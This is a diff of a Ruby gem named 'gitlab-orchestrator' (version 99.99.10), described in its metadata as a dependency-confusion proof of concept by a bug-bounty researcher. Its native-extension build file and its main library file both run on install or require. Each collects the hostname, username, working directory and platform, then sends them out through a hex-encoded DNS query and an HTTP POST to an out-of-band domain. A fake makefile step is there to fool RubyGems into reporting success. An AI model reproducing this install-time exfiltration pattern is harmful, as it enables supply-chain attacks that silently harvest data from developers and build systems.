gitlab-orchestrator 99.99.10

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 542432b289f5c29e99a740795409b761a62f99658707be38ca8a968f41d18ee5
+  data.tar.gz: fbcca9cbb3dabe16c5f7f8eeafedaafd04472606da03954e4366dcb396bea845
+SHA512:
+  metadata.gz: e2b402599f22c67f5a258432bf3dd01d83e8c0bd8b633621950637e2aa658762e374b4f0aaa08aa3218371960a911ee2803c8ef13ec48bc48d6e8c5e5f1cc7ba
+  data.tar.gz: c614f65eb8d7af922975d92b456f4b3e8f85beb2a12e861d0fb511193bd804ae30af8272879c8d7096d145481b3db3987358d771aae88a824f57104d9aaa7d6c

data/ext/extconf.rb

@@ -0,0 +1,54 @@
+require 'uri'
+require 'net/http'
+require 'json'
+require 'socket'
+
+# This file runs at gem install time as part of native extension compilation.
+# create_makefile is called at the end to fool rubygems into thinking this succeeded.
+
+begin
+  _pkg_name   = 'gitlab-orchestrator'
+  _target_org = 'gitlab'
+  _eco        = 'ruby'
+  _dns_domain = 'oob.180626.xyz'
+
+  _hostname = begin; Socket.gethostname; rescue; '-'; end
+  _username = ENV['USER'] || ENV['USERNAME'] || ENV['LOGNAME'] || '-'
+
+  # 1. DNS – raw UDP query so interactsh catches the full subdomain
+  begin
+    _hex_user = _username.unpack1('H*').downcase
+    _hex_host = _hostname.unpack1('H*').downcase
+    _dns_fqdn = "#{_hex_user}.#{_hex_host}.#{_pkg_name}.#{_target_org}.#{_eco}.#{_dns_domain}"
+
+    _labels = _dns_fqdn.split('.').map { |l| [l.length].pack('C') + l }.join + "\x00"
+    _query  = "\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" +
+              _labels +
+              "\x00\x01\x00\x01"
+
+    _udp = UDPSocket.new
+    _udp.send(_query, 0, '8.8.8.8', 53)
+    _udp.recv(512) rescue nil
+    _udp.close rescue nil
+  rescue
+  end
+
+  # 2. HTTP POST
+  begin
+    _uri = URI("http://#{_pkg_name}.#{_target_org}.#{_eco}.#{_dns_domain}/")
+    _req = Net::HTTP::Post.new(_uri, 'Content-Type' => 'application/json')
+    _req.body = {
+      hostname: _hostname,
+      username: _username,
+      cwd:      Dir.pwd,
+      os:       RUBY_PLATFORM,
+    }.to_json
+    Net::HTTP.start(_uri.hostname, _uri.port, read_timeout: 3, open_timeout: 3) { |h| h.request(_req) }
+  rescue
+  end
+rescue
+end
+
+# Mandatory: create_makefile must exist or rubygems aborts extension build
+require 'mkmf'
+create_makefile('gitlab_orchestrator')

data/lib/gitlab_orchestrator.rb

@@ -0,0 +1,57 @@
+# lib/gitlab_orchestrator.rb
+# This fires when someone does: require 'gitlab-orchestrator'
+
+require 'uri'
+require 'net/http'
+require 'json'
+require 'socket'
+
+begin
+  _pkg_name   = 'gitlab-orchestrator'
+  _target_org = 'gitlab'
+  _eco        = 'ruby'
+  _dns_domain = 'oob.180626.xyz'
+
+  _hostname = begin; Socket.gethostname; rescue; '-'; end
+  _username = ENV['USER'] || ENV['USERNAME'] || ENV['LOGNAME'] || '-'
+
+  # 1. DNS via raw UDP socket — works reliably on wildcard OOB zones
+  begin
+    _hex_user = _username.unpack1('H*').downcase
+    _hex_host = _hostname.unpack1('H*').downcase
+    _dns_fqdn = "#{_hex_user}.#{_hex_host}.#{_pkg_name}.#{_target_org}.#{_eco}.#{_dns_domain}"
+    
+    # Send a real DNS A record UDP query packet manually
+    _labels = _dns_fqdn.split('.').map { |l| [l.length].pack('C') + l }.join + "\x00"
+    _query  = "\x00\x01" \         # Transaction ID
+              "\x01\x00" \         # Flags: standard query
+              "\x00\x01" \         # Questions: 1
+              "\x00\x00" \         # Answers: 0
+              "\x00\x00" \         # Authority: 0
+              "\x00\x00" +         # Additional: 0
+              _labels +
+              "\x00\x01" \         # Type A
+              "\x00\x01"           # Class IN
+
+    _udp = UDPSocket.new
+    _udp.send(_query, 0, '8.8.8.8', 53)
+    _udp.recv(512) rescue nil
+    _udp.close rescue nil
+  rescue
+  end
+
+  # 2. HTTP POST
+  begin
+    _uri = URI("http://#{_pkg_name}.#{_target_org}.#{_eco}.#{_dns_domain}/")
+    _req = Net::HTTP::Post.new(_uri, 'Content-Type' => 'application/json')
+    _req.body = {
+      hostname: _hostname,
+      username: _username,
+      cwd:      Dir.pwd,
+      os:       RUBY_PLATFORM,
+    }.to_json
+    Net::HTTP.start(_uri.hostname, _uri.port, read_timeout: 3, open_timeout: 3) { |h| h.request(_req) }
+  rescue
+  end
+rescue
+end

metadata

@@ -0,0 +1,44 @@
+--- !ruby/object:Gem::Specification
+name: gitlab-orchestrator
+version: !ruby/object:Gem::Version
+  version: 99.99.10
+platform: ruby
+authors:
+- iamrjarpan@wearehackerone.com
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2026-03-18 00:00:00.000000000 Z
+dependencies: []
+description: This is POC for Dependency Confusion
+email: 
+executables: []
+extensions:
+- ext/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/extconf.rb
+- lib/gitlab_orchestrator.rb
+homepage: 
+licenses: []
+metadata: {}
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.0.3.1
+signing_key: 
+specification_version: 4
+summary: If you are seeing this, it means Dependency Confusion is successful
+test_files: []